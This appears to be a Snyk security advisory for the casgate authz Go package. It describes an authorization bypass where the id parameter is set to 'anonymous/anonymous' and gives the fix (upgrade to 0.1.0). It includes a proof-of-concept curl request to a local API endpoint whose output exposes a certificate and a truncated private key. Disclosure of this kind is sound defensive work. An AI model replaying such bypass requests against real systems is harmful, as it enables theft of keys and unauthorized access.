Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsUpgrade github.com/casgate/casgate/authz
to version 0.1.0 or higher.
Affected versions of this package are vulnerable to Improper Authorization via the id
parameter in GET requests. An attacker can obtain sensitive information, escalate privileges, or gain unauthorized access to accounts and other services by manipulating the id
parameter to use values such as anonymous/ anonymous
to bypass authorization checks on certain API endpoints.
user@host ~ % curl "http://localhost:8000/api/get-tokens?id=anonymous/anonymous"
{
"status": "ok",
"msg": "",
"sub": "",
"name": "",
"data": [
{
"owner": "admin",
"name": "cert-built-in",
"createdTime": "2024-05-21T13:11:07Z",
"displayName": "Built-in Cert",
"scope": "JWT",
"type": "x509",
"cryptoAlgorithm": "RS256",
"bitSize": 4096,
"expireInYears": 20,
"certificate": "-----BEGIN CERTIFICATE-----\nMIIE3TCC...\n-----END CERTIFICATE-----\n",
"privateKey": "-----BEGIN RSA PRIVATE KEY-----\nMIIJJ...\n-----END RSA PRIVATE KEY-----\n"
}
],
"data2": 1
}%